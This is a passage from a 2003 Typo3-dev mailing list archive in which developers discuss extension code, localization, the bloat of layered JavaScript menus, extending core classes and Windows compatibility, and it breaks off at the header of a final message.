From ms at netfielders.de Mon Sep 1 09:56:34 2003 From: ms at netfielders.de (Mathias Schreiber [netfielders]) Date: Mon, 01 Sep 2003 09:56:34 +0200 Subject: [Typo3-dev] Access cObj->enableFields from stand alone script Message-ID: Hi guys, anybody here who can tell me what files to include so I can access the enableFields from a stand alone PHP script? thanks in advance Mathias -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From andreas at php4win.de Mon Sep 1 10:33:48 2003 From: andreas at php4win.de (Andreas Otto) Date: Mon, 1 Sep 2003 10:33:48 +0200 Subject: [Typo3-dev] Typo3 on Knoppix Message-ID: Hi, this is just to ask if someone is working on a solution to run Typo3 with a Demo site on a Linux Live CD, like Knoppix? I am currently looking into the possibilities Knoppix offers. The idea is to have something a client can use while presenting his Typo3 powered site on a trade show - without the hassle to care about online connectivity. If someone thinks this sounds interesting get in touch with me and we can start this together. Cheers, Andreas -- Andreas Otto Using PHP on Windows? www.php4win.de From ms at netfielders.de Mon Sep 1 10:41:43 2003 From: ms at netfielders.de (Mathias Schreiber [netfielders]) Date: Mon, 01 Sep 2003 10:41:43 +0200 Subject: [Typo3-dev] Typo3 on Knoppix In-Reply-To: References: Message-ID: Andreas Otto wrote: > Hi, > > this is just to ask if someone is working on a solution to run Typo3 with a > Demo site on a Linux Live CD, like Knoppix? > > I am currently looking into the possibilities Knoppix offers. > > The idea is to have something a client can use while presenting his Typo3 > powered site on a trade show - without the hassle to care about online > connectivity. > > If someone thinks this sounds interesting get in touch with me and we can > start this together. I could ask Klaus (Knopper) if this thing is interesting for him. But he doesn't like PHP...thought you should know. -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From mundaun at gmx.ch Mon Sep 1 10:48:47 2003 From: mundaun at gmx.ch (Michael Stucki) Date: Mon, 01 Sep 2003 10:48:47 +0200 Subject: [Typo3-dev] Typo3 on Knoppix References: Message-ID: Andreas Otto wrote: Please do not post into several groups without making a note! This results in separate discussions which is not really helpful. > this is just to ask if someone is working on a solution to run Typo3 with > a Demo site on a Linux Live CD, like Knoppix? I already had this idea a few months ago. The thing was discussed in typo3-debian. Unfortunately, nobody seemed to be interested to do that. > I am currently looking into the possibilities Knoppix offers. I know that this would be possible. I got a link with a very rough description about creating your own Knoppix-Spinoff. Seems to be difficult, though. > If someone thinks this sounds interesting get in touch with me and we can > start this together. I am! Cheers - michael -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From Martin.T.Kutschker at blackbox.net Mon Sep 1 11:07:31 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Mon, 01 Sep 2003 11:07:31 +0200 (METDST) Subject: [Typo3-dev] localization of EXT:feuser_admin Message-ID: Hi! > In ext_typoscript_setup.txt I find this code: > > evalErrors { > password.twice = You must enter the password twice. > [snip] > } Are locallang.php-files the current recommended practice? If so I suggest the following additions to feuser_admin: pi/class.tx_userfeadmin.php require_once(PATH_tslib."media/scripts/fe_adminLib.inc"); class tx_user_feAdmin extends user_feAdmin { var $pi; function setPI(&$pi) { $this->pi = $pi; } function getFailure($theField, $theCmd, $label) { $pi->pi_getLL("evalErrors_$theField.$theCmd",$label); } } pi/class.tx_feuseradmin_pi.php require_once(PATH_tslib."class.tslib_pibase.php"); require_once("class.tx_userfeadmin.php"); class tx_glbspnkfeuserlist_pi1 extends tslib_pibase { function main($content,$conf) { $this->pi_loadLL(); $feadmin = new tx_user_feAdmin(); $feadmin->setPI($this); $feadmin->init($content,$conf); } } pi/locallang.php $LOCAL_LANG = Array ( "default" = Array ( "evalErrors_password.twice" => "You must enter the password twice.", "evalErrors_password.atLeast" => "There must be at least %s characters in your password!" "evalErrors_email.email" => "The email address is not validly formed. Must contain @ and a domain." "evalErrors_username.uniqueLocal" => "The username exists already. Please select another one." "evalErrors_username.atLeast" => "There must be at least %s characters in your username!", ), ); ext_typoscript_setup.txt should be changed to reflect the introduction of the new class. If I'm correct these changes should ease the translation (on TER) of this extension. Regards, Masi From andreas at php4win.de Mon Sep 1 11:31:04 2003 From: andreas at php4win.de (Andreas Otto) Date: Mon, 1 Sep 2003 11:31:04 +0200 Subject: [Typo3-dev] Typo3 on Knoppix In-Reply-To: References: Message-ID: Hi Michael, On Monday 01 September 2003 10:48, Michael Stucki wrote: > Please do not post into several groups without making a note! > This results in separate discussions which is not really helpful. Sorry. You are right a note would have been very clever. > > this is just to ask if someone is working on a solution to run Typo3 with > > a Demo site on a Linux Live CD, like Knoppix? > > I already had this idea a few months ago. The thing was discussed in > typo3-debian. Unfortunately, nobody seemed to be interested to do that. This seems to be the price we have to pay for having (too many imho) different mailinglists. Anyway, now you know that at least one person is interested to do that. > > I am currently looking into the possibilities Knoppix offers. > > I know that this would be possible. I got a link with a very rough > description about creating your own Knoppix-Spinoff. Seems to be difficult, > though. Are you talking about this Link: Cheers, Andreas -- Andreas Otto Using PHP on Windows? www.php4win.de From mundaun at gmx.ch Mon Sep 1 11:50:43 2003 From: mundaun at gmx.ch (Michael Stucki) Date: Mon, 01 Sep 2003 11:50:43 +0200 Subject: [Typo3-dev] Typo3 on Knoppix References: Message-ID: Andreas Otto wrote: >> I already had this idea a few months ago. The thing was discussed in >> typo3-debian. Unfortunately, nobody seemed to be interested to do that. > This seems to be the price we have to pay for having (too many imho) > different mailinglists. Well. What would you improve if you could?! > Are you talking about this Link: > No. I think it was this: http://www.stirnimann.com/mystuff/doc/knoppix.txt Cheers - michael -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From sachav at gmx.net Mon Sep 1 13:30:27 2003 From: sachav at gmx.net (Sacha Vorbeck) Date: Mon, 01 Sep 2003 13:30:27 +0200 Subject: [Typo3-dev] Building MySQL queries with selectConf array In-Reply-To: References: Message-ID: Hi Ingmar, > Now, in your case, you are attempting to use the query function. > In the TSRef it is called "select". > > See: > http://typo3.org/doc.0.html?&tx_extrepmgm_pi1[extUid]=270&tx_extrepmgm_pi1[tocEl]=318&cHash=a98cb4e7e6 > And there you'll find a nice reference of what's possible and what > isn't. thanks - I should have known this page as (once upon a time) I made an annotation to it. So LIMIT is not a valid property here. > $this->cObj refers to the class tslib_cObject! ah I see: the class tslib_cObject is inside class.tslib_content.php. Oh, and there`s the method getQuery. Yep, I could add "begin" and "max" and the method would add the according LIMIT to the query. Great. > Read it carefully until the end ;-) and you'll understand a lot more > about Typo3! you`re right, it is really interesting to read! -- thanks again, Sacha From sachav at gmx.net Mon Sep 1 13:43:48 2003 From: sachav at gmx.net (Sacha Vorbeck) Date: Mon, 01 Sep 2003 13:43:48 +0200 Subject: [Typo3-dev] New news extension? In-Reply-To: References: Message-ID: Hi Daniel, > Are there any other features desireable? two more features that appeared in the lists last week: - random news (ORDER BY RAND()) - it should be configurable if the page-title in the SINGLE view should be the title of the news _or_ the title of the page containing the single-view (current standard). -- Ciao, Sacha From rl at robertlemke.de Mon Sep 1 13:55:27 2003 From: rl at robertlemke.de (Robert Lemke) Date: Mon, 1 Sep 2003 13:55:27 +0200 Subject: [Typo3-dev] Access cObj->enableFields from stand alone script References: Message-ID: Mathias Schreiber [netfielders] wrote: > anybody here who can tell me what files to include so I can access the > enableFields from a stand alone PHP script? If you don't have an initialized cObj, I'd call the enableFields function directly: require_once ('t3lib/class.t3lib_page.php'); $whereClause = t3lib_pageSelect::enableFields($table,$show_hidden); See enableFields in tslib_content for more information! (Didn't test this but should work) -- robert From ms at netfielders.de Mon Sep 1 13:57:16 2003 From: ms at netfielders.de (Mathias Schreiber [netfielders]) Date: Mon, 01 Sep 2003 13:57:16 +0200 Subject: [Typo3-dev] Access cObj->enableFields from stand alone script In-Reply-To: References: Message-ID: Robert Lemke wrote: > require_once ('t3lib/class.t3lib_page.php'); > $whereClause = t3lib_pageSelect::enableFields($table,$show_hidden); > > See enableFields in tslib_content for more information! > (Didn't test this but should work) this was my idea as well, but if I do this, the GLOBALS TCA Array ain't available. I get tricked by the thought that I need to include something like "init.php" and everything works ;-) -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From brunn at mail.dk Mon Sep 1 17:48:18 2003 From: brunn at mail.dk (Mads Brunn) Date: Mon, 1 Sep 2003 17:48:18 +0200 Subject: [Typo3-dev] New extension: File Upload (comments requested) Message-ID: Hi everybody Yesterday I made a small extension public on typo3.org: File Upload. I don't have much experience with security issues and PHP and would like to hear comments from experienced people who can make a statement on whether this is a "secure" plugin or how its' security can be improved. Thanks in advance Mads From j.pietschmann at fme.de Mon Sep 1 20:02:18 2003 From: j.pietschmann at fme.de (Jürgen Pietschmann) Date: Mon, 1 Sep 2003 20:02:18 +0200 Subject: [Typo3-dev] module_sys_dmail_html field in TBE Message-ID: Hi List, i try to ad the database field module_sys_dmail_html to the TBE in tt_address. like the hidden or else. (i do this for easyer adminstration to change between html and txt Newsletter for a person.) but nothing is display. "module_sys_dmail_html" => Array ( "exclude" => 1, "label" => "Newsletter html or txt", "config" => Array ( "type" => "check" ) ), the second try was ..... "module_sys" => Array ( "exclude" => 1, "label" => "Newsletter html or txt", "config" => Array ( "type" => "check" ) ), this works fine. i came to the result that the second or third "_" is the prob. I search around the $TCA but find nothing. The only thing is the fieldname_passthrough but i don?t now how it can be work. Sure i can rename the database field but this can not be the right way ;-) Is there anyway to map a database field name? or can anyone tell me how to use the fieldname_passthrough. thx J?rgen From simondt at gpuk.net Mon Sep 1 22:02:59 2003 From: simondt at gpuk.net (Simon Child) Date: Mon, 1 Sep 2003 21:02:59 +0100 Subject: [Typo3-dev] TMENU_LAYERS - bloat in my ! Message-ID: I'm using a TMENU_LAYERS menu. I thought a text based menu would give a smaller page size (kb) than a graphical menu. With only about 40 pages (so far) TMENU_LAYERS puts 28kb of script in the HEAD of my document, and there is another 11kb immediately after the tag, before my content even starts, then the actual menu itself is another 4kb (fair enough). 43kb for a text based menu!! And I'm using css, not lots of font tags etc. What happens if I have a couple of hundred pages on my site - 200kb for a text menu?! This could be improved. Whilst it is good practice to use meaningful names for functions and labels, and to comment the code, the problem is that with the TMENU_LAYERS menu there is a block of script generated, repeated once for every page on the site, and stored in the head. But this means that the comments are repeated 40 times, the long function names are repeated 80-120 times, and so on. * Perhaps the live code in media/scripts/tmenu_layers.php should not have comments in it. By all means have another commented file, stored in the same directory, for reference. * Similarly perhaps the function names could be much shorter. Again perhaps the live code could have very brief names, and another file stores the links to meaningful names. Perhaps GLV_curLayerWidth could become Gcw and GLV_curLayerHeight becomes Gch, and so on. I experimented with this, removing comments and renaming some (not all) functions to such as G_cw G_ch, and changing AnchorID to AI, and so on (of course I made matching alterations in tslib/media/scripts/jsfunc.layermenu.js) and it made my page 9kb smaller. But smaller still would be better... Anyone any thoughts? -- Simon Child From ben at netcreators.nl Mon Sep 1 23:56:55 2003 From: ben at netcreators.nl (ben van 't ende [netcreators]) Date: Mon, 01 Sep 2003 23:56:55 +0200 Subject: [Typo3-dev] TMENU_LAYERS - bloat in my ! In-Reply-To: References: Message-ID: Simon Child wrote: > I'm using a TMENU_LAYERS menu. I thought a text based menu would give a > smaller page size (kb) than a graphical menu. > > With only about 40 pages (so far) TMENU_LAYERS puts 28kb of script in the > HEAD of my document, and there is another 11kb immediately after the > tag, before my content even starts, then the actual menu itself is another > 4kb (fair enough). > > 43kb for a text based menu!! And I'm using css, not lots of font tags etc. > What happens if I have a couple of hundred pages on my site - 200kb for a > text menu?! > > This could be improved. Whilst it is good practice to use meaningful names > for functions and labels, and to comment the code, the problem is that with > the TMENU_LAYERS menu there is a block of script generated, repeated once > for every page on the site, and stored in the head. But this means that the > comments are repeated 40 times, the long function names are repeated 80-120 > times, and so on. > > * Perhaps the live code in media/scripts/tmenu_layers.php should not have > comments in it. By all means have another commented file, stored in the same > directory, for reference. > > * Similarly perhaps the function names could be much shorter. Again perhaps > the live code could have very brief names, and another file stores the links > to meaningful names. Perhaps GLV_curLayerWidth could become Gcw and > GLV_curLayerHeight becomes Gch, and so on. > > I experimented with this, removing comments and renaming some (not all) > functions to such as G_cw G_ch, and changing AnchorID to AI, and so on (of > course I made matching alterations in > tslib/media/scripts/jsfunc.layermenu.js) and it made my page 9kb smaller. > But smaller still would be better... > > Anyone any thoughts? Hi Simon, Just searched for layer menu and came across this site http://phplayersmenu.sourceforge.net/. The source looks very small. I can not code myself, but maybe someone could use that to make some extension. You right that it takes a lot of bandwidth. That is the reason I usually avoid menu's like that. Rather use the regular TMENU / HMENU and give that some cool formatting using css. GRTZ ben -- netcreators :: creation and innovation www.netcreators.nl - www.typo3.nl From ms at netfielders.de Tue Sep 2 09:29:12 2003 From: ms at netfielders.de (Mathias Schreiber [netfielders]) Date: Tue, 02 Sep 2003 09:29:12 +0200 Subject: [Typo3-dev] New extension: File Upload (comments requested) In-Reply-To: References: Message-ID: Mads Brunn wrote: > Yesterday I made a small extension public on typo3.org: File Upload. I don't > have much experience with security issues and PHP and would like to hear > comments from experienced people who can make a statement on whether this is > a "secure" plugin or how its' security can be improved. didn't look at it atm but do you check if PHP files are uploaded? Because if so, you could breach the whole system -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From dbruen at saltation.de Tue Sep 2 11:04:33 2003 From: dbruen at saltation.de (=?ISO-8859-1?Q?Daniel_Br=FCn?=) Date: Tue, 02 Sep 2003 11:04:33 +0200 Subject: [Typo3-dev] TMENU_LAYERS - bloat in my ! In-Reply-To: References: Message-ID: Hi Simon! Simon Child wrote: > * Perhaps the live code in media/scripts/tmenu_layers.php should not have > comments in it. By all means have another commented file, stored in the same > directory, for reference. > > * Similarly perhaps the function names could be much shorter. Again perhaps > the live code could have very brief names, and another file stores the links > to meaningful names. Perhaps GLV_curLayerWidth could become Gcw and > GLV_curLayerHeight becomes Gch, and so on. You're definitely correct! There is way too much code for just a menu! As the code delivered to the browser in my opinion not necessarily has to be very human-readable, it could be shortened a lot, but ONLY if there is a well documented version available on server side! Another interesting thing might be to try to share functions among menus. Right now every menu gets its own set of functions, even though all these functions do very similar stuff. There must be a way to parametrize this in order to save some bandwidth. Maybe we can figure out a way to optimize the code and send it to Kasper. As the layer menu is some very basic element of typo3 it should not be remade in another extension (just my 2 cents). Cheers, Dan. From je at hades.org Tue Sep 2 11:24:48 2003 From: je at hades.org (Jens Ellerbrock) Date: Tue, 2 Sep 2003 11:24:48 +0200 (CEST) Subject: [Typo3-dev] Constant Editor Parameters -> Extension Message-ID: Hi list In my pdf_generator extension i use severall parameters that can be set via the Constant Editor. Right now i put them into the config.pdf_generator domain using typoscript and acces them via $GLOBALS{TSFE}->config from php. Is there a cleaner way to do it? - Jens Ellerbrock (jense) ----------------------- The mailing list archive is found here: http://typo3.org/1427.0.html From christian at julletology.dk Tue Sep 2 13:00:04 2003 From: christian at julletology.dk (Christian Jul Jensen) Date: Tue, 2 Sep 2003 13:00:04 +0200 Subject: [Typo3-dev] User extension of class.t3lib_div.php Message-ID: Hi I'm writing an extension that enhances the 'plainMailEncoded' function in t3lib_div, to also encode the headers of the mail, useful if you have weird characters in your language like ?, ? and ? :) The problem with this is that t3lib_div also provides the makeInstance function that checks for user extensions of classes, in other words the class is instantiated without checking for any user extension. How can I resolve this in a clean matter, that is without changing the source, but providing the functionality in an extension? Maybe makeInstance should be moved to a class for itself in future releases, in order to avoid this problem. -- Christian Jul Jensen Freelance webprogrammer TYPO3 typehead Denmark From ingmars at REMOVETHISweb.de Tue Sep 2 14:14:25 2003 From: ingmars at REMOVETHISweb.de (Ingmar Schlecht) Date: Tue, 02 Sep 2003 14:14:25 +0200 Subject: [Typo3-dev] User extension of class.t3lib_div.php In-Reply-To: References: Message-ID: Christian Jul Jensen wrote: > Hi > > I'm writing an extension that enhances the 'plainMailEncoded' function > in t3lib_div, to also encode the headers of the mail, useful if you have > weird characters in your language like ?, ? and ? :) > > The problem with this is that t3lib_div also provides the makeInstance > function that checks for user extensions of classes, in other words the > class is instantiated without checking for any user extension. No, t3lib_div is AFAIK never instantiated. Tthe functions are always called directly like this: "t3lib_div::doSomthing();", so no extension class would be used anyway. ...which makes this suggestion obsolete: > Maybe makeInstance should be moved to a class for itself in future > releases, in order to avoid this problem. "Solution" would be to hardcode it into the t3lib_div PHP-file or otherwise provide a completely independant class and call it like tx_yourext_div::doSomething(). - Ingmar From christian at julletology.dk Tue Sep 2 14:23:11 2003 From: christian at julletology.dk (Christian Jul Jensen) Date: Tue, 2 Sep 2003 14:23:11 +0200 Subject: [Typo3-dev] User extension of class.t3lib_div.php References: Message-ID: Hi On Tue, 02 Sep 2003 14:14:25 +0200, Ingmar Schlecht wrote: > Christian Jul Jensen wrote: > > The problem with this is that t3lib_div also provides the > > makeInstance function that checks for user extensions of classes, in > > other words the class is instantiated without checking for any user > > extension. > > No, t3lib_div is AFAIK never instantiated. Tthe functions are always > called directly like this: "t3lib_div::doSomthing();", so no extension > class would be used anyway. Ahhh, that makes sense. > ...which makes this suggestion obsolete: > > Maybe makeInstance should be moved to a class for itself in future > > releases, in order to avoid this problem. You're right. Still these functions should be extend-/changeable, so maybe making a global object $DIV, instantiated by t3lib_div::makeInstance('t3lib_div'); would be a solution. That way you could actually modify even the makeInstance function. > "Solution" would be to hardcode it into the t3lib_div PHP-file or > otherwise provide a completely independant class and call it like > tx_yourext_div::doSomething(). The problem is that the function is called from other scripts, which I have no intention of changing. In particular I'm trying to solve the problem for the da_newsletter extension, and I could fix at a higher level, just figured it would be cleaner to do it in the div-script, since the other encoding is done here. Thanks a lot Ingmar, you saved me a lot of time there. -- Christian Jul Jensen Freelance webprogrammer TYPO3 typehead Denmark From christian at julletology.dk Tue Sep 2 14:39:04 2003 From: christian at julletology.dk (Christian Jul Jensen) Date: Tue, 2 Sep 2003 14:39:04 +0200 Subject: [Typo3-dev] User extension of class.t3lib_div.php References: Message-ID: Hi On Tue, 2 Sep 2003 14:23:11 +0200, Christian Jul Jensen wrote: > > ...which makes this suggestion obsolete: > > > Maybe makeInstance should be moved to a class for itself in future > > > releases, in order to avoid this problem. > > You're right. Still these functions should be extend-/changeable, so > maybe making a global object $DIV, instantiated by > t3lib_div::makeInstance('t3lib_div'); would be a solution. That way > you could actually modify even the makeInstance function. Another way to do approx the same, but without having a global object. in t3lib_div call_div_function($fnName) { $className = class_exists('ux_t3lib_div')?'ux_t3lib_div':$this; $argArr = func_get_args(); array_shift($argArr); return call_user_func_array(Array($className,$fnName),$argArr); ); And then replacing all calls to the class from t3lib_div::function(...) to t3lib_div::call_div_function('function',...) -- Christian Jul Jensen Freelance webprogrammer TYPO3 typehead Denmark From christian at julletology.dk Tue Sep 2 14:41:13 2003 From: christian at julletology.dk (Christian Jul Jensen) Date: Tue, 2 Sep 2003 14:41:13 +0200 Subject: [Typo3-dev] User extension of class.t3lib_div.php References: Message-ID: On Tue, 2 Sep 2003 14:39:04 +0200, Christian Jul Jensen wrote: > in t3lib_div > > call_div_function($fnName) { > $className = class_exists('ux_t3lib_div')?'ux_t3lib_div':$this; > $argArr = func_get_args(); > array_shift($argArr); > return call_user_func_array(Array($className,$fnName),$argArr); > ); Ahemm... Sorry that wouldn't work since the class is not instatiated. -- Christian Jul Jensen Freelance webprogrammer TYPO3 typehead Denmark From Martin.T.Kutschker at blackbox.net Tue Sep 2 14:58:59 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Tue, 02 Sep 2003 14:58:59 +0200 (METDST) Subject: [Typo3-dev] locking/defaulting FE users to edit only their own data Message-ID: Hi! I use the feuser_admin extension and I want to lock the users to their own records. Basically I want to skip the listing of all possible records of the "edit" command. If found this idea on a list (untested by me), which changes fe_adminLib.inc/init() adding a new configuration option: if ($GLOBALS["TSFE"]->loginUser and $this->conf["create."]["editOnLogin"] and $this->cmd == "") { $this->cmd = "edit"; $this->recUid = (string)$GLOBALS["TSFE"]->fe_user->user["uid"]; } And I've used this variation of the intended functionality for my site. I simply add a new marker to be used in the CREATE_USER_LOGIN template section (redirect to YOUR data, not an overview): if ($GLOBALS["TSFE"]->loginUser) { $this->markerArray["###FEUSER_ID###"]=$GLOBALS["TSFE"]->fe_user->user["uid"]; } Both changes should probably be surrounded by another check: $this->theTable == "fe_user" Questions: Do the changes make sense? Is there any chance they'll make it into the core? Is this the right place to ask for this? Kind regards, Masi From brunn at mail.dk Tue Sep 2 22:45:37 2003 From: brunn at mail.dk (Mads Brunn) Date: Tue, 2 Sep 2003 22:45:37 +0200 Subject: [Typo3-dev] New extension: File Upload (comments requested) References: Message-ID: Off course :-) This is one of the more obvious thing to check for. What I would like is if someone could look at the source code and check if there's any way this extension could be exploited by a malicious user. Also, if you can think of any improvements I'm open to suggestions - as always. Best regards Mads "Mathias Schreiber [netfielders]" skrev i en meddelelse news:mailman.1062487753.24007.typo3-dev at lists.netfielders.de... > Mads Brunn wrote: > > Yesterday I made a small extension public on typo3.org: File Upload. I don't > > have much experience with security issues and PHP and would like to hear > > comments from experienced people who can make a statement on whether this is > > a "secure" plugin or how its' security can be improved. > > didn't look at it atm but do you check if PHP files are uploaded? > Because if so, you could breach the whole system > > > -- > Want support? Please read the list rules first: http://typo3.org/1438.0.html > From kasper at typo3.com Wed Sep 3 02:56:29 2003 From: kasper at typo3.com (=?us-ascii?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Wed, 03 Sep 2003 02:56:29 +0200 Subject: [Typo3-dev] Next version of Typo3 In-Reply-To: References: Message-ID: >>> 3. Mass-hosting friendly. >>> >>> One instanse Typo3 per web-server with many different >>> virtual hosts. >>> >>> Please see the SSR project to understand how may do it >>> ( http://sourceforge.net/projects/ssrtech/ ). >bvte> What seems to be the problem?? This can be one already. Personally I'm not going to uptimize TYPO3 for either speed or memory consumption. To me personally I just by more hardware and use dedicated servers. If others want something else, it's open source and you can prove that certian optimization can benefit the system - and I guess they will be implemented if flawless. >Please describe here how to do it. >By symbolic liks under UNIX? Wrong way! > >If you will spend a little time, downloads and installs >the specified project (SSR), you will see how can be made more >convenient scheme of installation. UNIX is prefered and will always be. Still it will work on Windows. Just more hazzle. Or less sometimes. There will always be a different reason for both platforms. >>> 4. No directory doubling in Typo3 distribution. >bvte> Directory doubling? Sorry about that. I try not to do it anymore... :-) But change it, I probably will not. However for the guys making the windows-zip files you CAN remove certain directories which does not have to be there twice. For instance the "gfx" dir in typo3/t3lib/ could be removed. And in the 3.6.0 version tslib/ is moved into typo3/sysext/cms/ (which means yet another duplicate...) and that can be removed as well in the zip distributions. >Read "Inside Typo3". 4.1.1 Folders in typo3_src-xxx. >"typo3/t3lib = t3lib (softlinked from ../t3lib/)" > >You may not use of symbolic links and solve it by PHP code. >This is more friendly way for Win32-users. > > >>> 5. Full compatiblity with Win32. >bvte> Is this not so? > > >No, of course. Many patches needed for normal executing Typo3 under Win32. >Main issues: > >1. Function "is_execute" is not implemented in Win32 PHP. > > Citation from PHP Manual: "is_execute became available with Windows > in PHP version 5.0.0". Is new version of Typo3 support PHP5? > >2. Function "recode_string". > > Citation from PHP Manual: "This extension is not available > on Windows platforms." > > Please see source code of phpMyAdmin to understand how need to > coding platform independed recoding functions. > >3. Class "class.tslib_fe.php". > > Logical error in function "checkAlternativeIdMethods" which > disables using simulateStaticDocuments under Windows. Should be OK in the final 3.6.0 - all are on the bug-list. - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From kasper at typo3.com Wed Sep 3 02:56:31 2003 From: kasper at typo3.com (=?us-ascii?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Wed, 03 Sep 2003 02:56:31 +0200 Subject: [Typo3-dev] TMENU_LAYERS - bloat in my ! In-Reply-To: References: Message-ID: I thought about this when I made it. It is not like I didn't know. Anyways i didn't find any easy way out to make the menu small. After thinking here one might take some of it and write on-the-fly to an external js-file in typo3temp/ (provided that the javascript will be the same for more than one page which I think it is). I have at least saved simons mail but nothing will happen the next few years I think. God bless - kasper *********** REPLY SEPARATOR *********** On 02-09-2003 at 11:04 Daniel Br?n wrote: >Hi Simon! > >Simon Child wrote: >> * Perhaps the live code in media/scripts/tmenu_layers.php should not have >> comments in it. By all means have another commented file, stored in the >same >> directory, for reference. >> >> * Similarly perhaps the function names could be much shorter. Again >perhaps >> the live code could have very brief names, and another file stores the >links >> to meaningful names. Perhaps GLV_curLayerWidth could become Gcw and >> GLV_curLayerHeight becomes Gch, and so on. > >You're definitely correct! There is way too much code for just a menu! >As the code delivered to the browser in my opinion not necessarily has >to be very human-readable, it could be shortened a lot, but ONLY if >there is a well documented version available on server side! > >Another interesting thing might be to try to share functions among >menus. Right now every menu gets its own set of functions, even though >all these functions do very similar stuff. There must be a way to >parametrize this in order to save some bandwidth. > >Maybe we can figure out a way to optimize the code and send it to >Kasper. As the layer menu is some very basic element of typo3 it should >not be remade in another extension (just my 2 cents). > >Cheers, Dan. > >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev God bless - kasper - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From kasper at typo3.com Wed Sep 3 02:56:35 2003 From: kasper at typo3.com (=?us-ascii?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Wed, 03 Sep 2003 02:56:35 +0200 Subject: [Typo3-dev] User extension of class.t3lib_div.php In-Reply-To: References: Message-ID: It would be quite easy to make a search/replace on t3lib_div:: to $GLOBALS['DIV']-> (and for other classes as well) but what is the performance loss ? ( if any) - and it is also uglier. But it would be backwards compatible! We can discuss later this month. God bless - kasper *********** REPLY SEPARATOR *********** On 02-09-2003 at 14:23 Christian Jul Jensen wrote: >Hi > >On Tue, 02 Sep 2003 14:14:25 +0200, Ingmar Schlecht > wrote: > >> Christian Jul Jensen wrote: > >> > The problem with this is that t3lib_div also provides the >> > makeInstance function that checks for user extensions of classes, in >> > other words the class is instantiated without checking for any user >> > extension. >> >> No, t3lib_div is AFAIK never instantiated. Tthe functions are always >> called directly like this: "t3lib_div::doSomthing();", so no extension >> class would be used anyway. > >Ahhh, that makes sense. > >> ...which makes this suggestion obsolete: >> > Maybe makeInstance should be moved to a class for itself in future >> > releases, in order to avoid this problem. > >You're right. Still these functions should be extend-/changeable, so >maybe making a global object $DIV, instantiated by >t3lib_div::makeInstance('t3lib_div'); would be a solution. That way you >could actually modify even the makeInstance function. > >> "Solution" would be to hardcode it into the t3lib_div PHP-file or >> otherwise provide a completely independant class and call it like >> tx_yourext_div::doSomething(). > >The problem is that the function is called from other scripts, which I >have no intention of changing. In particular I'm trying to solve the >problem for the da_newsletter extension, and I could fix at a higher >level, just figured it would be cleaner to do it in the div-script, >since the other encoding is done here. > >Thanks a lot Ingmar, you saved me a lot of time there. > > >-- >Christian Jul Jensen >Freelance webprogrammer >TYPO3 typehead Denmark >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev God bless - kasper - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From RichardD at pcanz.org.nz Wed Sep 3 05:01:25 2003 From: RichardD at pcanz.org.nz (Richard Davis) Date: Wed, 3 Sep 2003 15:01:25 +1200 Subject: [Typo3-dev] date format in calendar Message-ID: The date format using numeral for the month and day is confusing. Can it parsed so that 10/12/2003 become 10 December 2003 and so avoid ambiguity with 12 October 2003? Richard Davis From Martin.T.Kutschker at blackbox.net Wed Sep 3 08:58:36 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Wed, 03 Sep 2003 08:58:36 +0200 (METDST) Subject: [Typo3-dev] User extension of class.t3lib_div.php Message-ID: Date: Wed, 03 Sep 2003 02:56:35 +0200 From: Kasper Sk?rhoj To: typo3-dev at lists.netfielders.de > It would be quite easy to make a search/replace on t3lib_div:: to > $GLOBALS['DIV']-> > > (and for other classes as well) but what is the performance loss ? ( if > any) - and it is also uglier. > > But it would be backwards compatible! Wouldn't you have to change all the functions in class.t3lib_div.php > We can discuss later this month. Sure, but just an idea before I forget it. The archive may serve as my memory :-) How about changing the static classes into singletons? Unlike the straightforward instance in $DIV we don't introduce a number of globals. The 'real' objects would be static members of the factory. So you'd have a $div = t3lib_div::getInstance() at the top of the code, followed by $div->some_func() etc. But of, course this is also not backwards compatible. A more backward compatible idea is to make class.t3lib_div.php a kind of wrapper which includes its fucntions. At the the beginning of the file some code would decide whether to include the default code or some extension code. A note on all this schemes: An extension might only change one function. And more than one extension may provide new functions. None of the solutions so far addreess these problems. Regards, Masi From cr at iprod.auc.dk Wed Sep 3 09:09:27 2003 From: cr at iprod.auc.dk (Christian Rasmussen) Date: Wed, 3 Sep 2003 09:09:27 +0200 Subject: [Typo3-dev] building a content (article) base supporting dublin core metadata In-Reply-To: Message-ID: Hi list, I've been using Typo3 for about three months now, and I've come to love it! (thank-you everyone for creating all these nice features. By time, I hope to give something back :-)) We are using Typo3 to build a knowledge management system at Aalborg University, Denmark. A system which should be able to capture knowledge (various kinds) and communicate it via different medias. MY PROBLEM: =========== I would like to build a content (article) base which should contain different file types, mostly pdf and word-documents, but also powerpoint slides to some extent. The base should be searchable and also support the Dublin Core metadata standardization. I've got an idea as to how this could be done; but I would very much like your comments and if it perhaps could be done in another and better way. IDEA: ===== I think this can be done by using two things: - a db table - an upload directory The database table should contain all the Dublin Core metadata information (author, subject, description etc.) and the upload directory should of course contain the files. Maybe the indexed search engine can handle these searches...I dont know? Maybe not? And how do I make the files searchable for other search engines like google...do I have to create static doorway-pages or is there a smart way of doing it? I would very much like to hear any suggestions... Thank-you ! /Christian ======================================= Christian Rasmussen MA. in Humanistic Computer Science Research Assistant Center for Industrial Production, Aalborg University mail: cr at iprod.auc.dk ======================================= From kasper at typo3.com Wed Sep 3 09:21:45 2003 From: kasper at typo3.com (=?us-ascii?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Wed, 03 Sep 2003 09:21:45 +0200 Subject: 